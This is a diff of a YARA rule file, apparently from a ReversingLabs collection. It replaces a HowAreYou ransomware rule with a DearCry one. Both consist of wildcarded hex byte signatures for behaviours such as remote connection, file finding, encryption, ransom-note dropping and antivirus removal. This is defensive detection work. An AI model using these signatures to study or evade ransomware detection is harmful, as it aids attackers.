+            95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ??
+            ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 8D ??
+            ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ??
+            ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
+            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($uninstall_eset_av)
 }
-rule REVERSINGLABS_Win32_Ransomware_Howareyou : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Dearcry : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects HowAreYou ransomware."
+		description = "Yara rule that detects DearCry ransomware."
 		author = "ReversingLabs"
-		id = "998fbebe-099d-5779-ad4a-91b7b6c8ad6b"
-		date = "2021-06-14"
-		modified = "2021-06-14"
+		id = "6e2097e0-6495-5185-bbbc-e8168fa0ca7f"
+		date = "2021-03-12"
+		modified = "2021-03-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.HowAreYou.yara#L1-L205"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "90568365aac61d120886f9efa9822ccc23df79a1a55e522c81db6e77477c4f04"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DearCry.yara#L1-L96"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "40dde232255018e1bc0aadf2378a7a86a99327d13dda58d8ffc5bb38e164de26"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -31920,191 +33727,91 @@ rule REVERSINGLABS_Win32_Ransomware_Howareyou : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "HowAreYou"
+		tc_detection_name = "DearCry"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_p1 = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 05 ??
-            ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 0D ?? ??
-            ?? ?? 89 08 8B 05 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ??
-            8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 85 C9 74 ?? 74 ?? 8B 49
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24
-            ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ??
-            ?? ?? ?? 83 C4 ?? C3 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24
-            C7 44 24 ?? ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ??
-            E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? 74 ?? 8B
-            4A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 05
-            ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 D1
+		$drop_ransom_note_p1 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 50 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ??
+            ?? ?? 89 1D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 89 44 24 ?? E8
+            ?? ?? ?? ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 89 74 24 ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ??
+            E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 3B F3 0F 84 ?? ?? ?? ?? 3B FB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 5C 24 ?? B8 ?? ?? ?? ?? 33 F6 8B FF
+            38 18 74 ?? 50 E8 ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 C4 ?? 8B D7 8A 08 88 0A 40 42 84
+            C9 75 ?? 8B C7 33 F6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 74 ?? 0F BE 14 37 52 E8 ??
+            ?? ?? ?? 88 04 37 8B C7 83 C4 ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ??
+            8B 74 24 ?? 46 89 74 24 ?? 69 F6 ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 3B C3 75 ?? 6A ?? 68
         }
-		$remote_connection_p2 = {
-            EB ?? 89 4C 24 ?? 89 5C 24 ?? 84 03 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8D 43 ?? 89 44
-            24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54
-            24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 14 24 FF D1 8B
-            44 24 ?? 8B 4C 24 ?? 85 C0 74 ?? 74 ?? 8B 40 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ??
-            ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C
-            24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 44 24 ?? 89 04 24 FF D3 90 E8
-            ?? ?? ?? ?? 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8D 05 ?? ?? ?? ?? 89
-            44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
+		$drop_ransom_note_p2 = {
+            89 5C 24 ?? E8 ?? ?? ?? ?? 53 8B F0 53 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 56 89 44 24
+            ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B F8 3B C3 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 85 C0 0F 86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 53 51 88 5C 24 ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8A 44 1C ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 0F 8C ?? ?? ?? ?? 3C ?? 0F 8F ?? ?? ?? ??
+            0F BE C0 50 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ??
+            8D 54 24 ?? 52 FF D6 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B
+            4C 24 ?? 8B 54 24 ?? 8B 44 24 ?? 51 52 50 6A ?? 8D 4C 24 ?? 51 57 E8 ?? ?? ?? ?? 0F
+            BE 54 1C ?? 68 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? B8 ?? ?? ?? ?? 8D 50
+            ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 56 2B C2 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56
+            E8 ?? ?? ?? ?? 83 C4 ?? 43 81 FB ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 33 DB 57
         }
 		$find_files_p1 = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC
-            ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ??
-            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 54
-            24 ?? 89 9C 24 ?? ?? ?? ?? 31 C0 31 C9 31 ED 31 F6 EB ?? 8B 7C 24 ?? 47 8B 9C 24 ??
-            ?? ?? ?? 89 CD 89 C6 89 F8 89 D1 8B 54 24 ?? 39 D0 0F 8D ?? ?? ?? ?? 89 44 24 ?? 89
-            4C 24 ?? 89 AC 24 ?? ?? ?? ?? 89 74 24 ?? 8D 0C C3 8B 11 89 94 24 ?? ?? ?? ?? 8B 49
-            ?? 89 8C 24 ?? ?? ?? ?? 8B 6A ?? 89 0C 24 FF D5 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ??
-            ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B 8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B
-            4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 85 C0 0F 86 ??
-            ?? ?? ?? 0F B6 11 80 FA ?? 75 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ??
-            ?? ?? ?? 80 FA ?? 74 ?? 89 44 24 ?? 89 8C 24 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 15
-            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ??
-            E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24
-            ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 11
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64
+            A3 ?? ?? ?? ?? 89 65 ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 75 ?? 89 B5 ?? ?? ?? ?? 8B 4D
+            ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ??
+            8B C6 8D 50 ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 8B C6 8D 50
+            ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? 52 EB ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89
+            85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 6A
+            ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B C6
+            8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 78 ?? 8A 08 40 84 C9
+            75 ?? 2B C7 03 C2 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B C3 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 83 F8 ?? 76 ?? B8 ?? ?? ??
+            ?? EB ?? 8B C3 8D 50 ?? 8D 64 24 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 53 8D 55 ?? 52 E8
         }
 		$find_files_p2 = {
-            81 FA ?? ?? ?? ?? 75 ?? 0F B7 51 ?? 66 81 FA ?? ?? 75 ?? 0F B6 51 ?? 80 FA ?? 0F 84
-            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ??
-            ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89
-            44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ??
-            8B 44 24 ?? 8D 48 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 E9 7F ?? 8B B4 24 ?? ??
-            ?? ?? 8D 7C C6 ?? 89 1F 8D 04 C6 8B 1D ?? ?? ?? ?? 85 DB 75 ?? 89 10 89 E8 89 CA 89
-            F1 E9 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89 4C 24 ?? 89 6C 24 ?? 89 04 24 89 54 24 ??
-            E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 8B B4 24 ?? ?? ?? ?? EB ?? 89 94 24 ?? ?? ??
-            ?? 89 5C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24
-            ?? 89 6C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 8D 48
-            ?? 8B 44 24 ?? 8B 94 24 ?? ?? ?? ?? 8B 5C 24 ?? E9 ?? ?? ?? ?? 8D 54 24 ?? 89 14 24
-            8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ??
-            89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24
-            ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B
-        }
-		$find_files_p3 = {
-            8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ??
-            ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 89 04 24 89 4C 24 ?? 8B 15
-            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ??
-            E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24
-            ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44
-            24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ??
-            ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ??
-            C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? 89 74 24 ?? 8B 74 24 ?? 89 74 24 ?? E8 ?? ?? ??
-            ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 94 24 ?? ?? ?? ?? 89 14 24 8B
-            5C 24 ?? 89 5C 24 ?? 8B 2D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 6C 24
-            ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B
-            84 24 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 83 C1 ?? 88
-            4C 24 ?? 0F B6 08 83 C1 ?? 88 4C 24 ?? 8D 0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ??
-            89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B
-            18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D
-        }
-		$find_files_p4 = {
-            6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ?? ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89
-            29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ??
-            E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ??
-            ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08 8B 6C 24 ?? 8B 4C 24 ?? 8B B4 24 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89
-            0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ?? ?? 89
-            2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8B
-            44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ??
-            89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ??
-            ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B
-            44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0
-            0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 88 4C 24 ?? 0F B6 08 88 4C 24 ?? 8D
-        }
-		$find_files_p5 = {
-            0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ?? 89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ??
-            ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B 18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C
-            24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ??
-            ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89 29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ??
-            ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89
-            48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08
-            E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ??
-            ?? 89 0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ??
-            ?? 89 2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24
-            ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 89 AC 24 ?? ??
-            ?? ?? 89 8C 24 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            84 24 ?? ?? ?? ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ??
-            ?? 89 84 24 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 E8
-        }
-		$encrypt_files_p1 = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC
-            ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
-            ?? ?? ?? ?? 8B 40 ?? 89 04 24 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 84
-            24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 15 ?? ?? ?? ?? 39 CA 0F 85 ?? ?? ?? ?? 8B 48
-            ?? 89 4C 24 ?? 8B 00 89 84 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24
-            ?? 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 44
-            24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8D 54 24 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ??
-            89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8D AC 24 ?? ?? ?? ?? 89 6C 24 ?? 89 4C 24 ?? 89
-            44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ??
-            85 D2 0F 85 ?? ?? ?? ?? 89 44 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ??
-            ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24
-            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 85 D2 0F 85 ?? ??
-            ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8
-        }
-		$encrypt_files_p2 = {
-            85 C0 0F 85 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 54
-            24 ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C
-            24 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ??
-            89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ??
-            8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 1C 24 89 54 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B
-            4C 24 ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ??
-            8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ??
-            ?? 8B 2D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ??
-            89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24
-            ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 1C 24 8B 6C 24 ?? 89 6C 24 ??
-            8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24
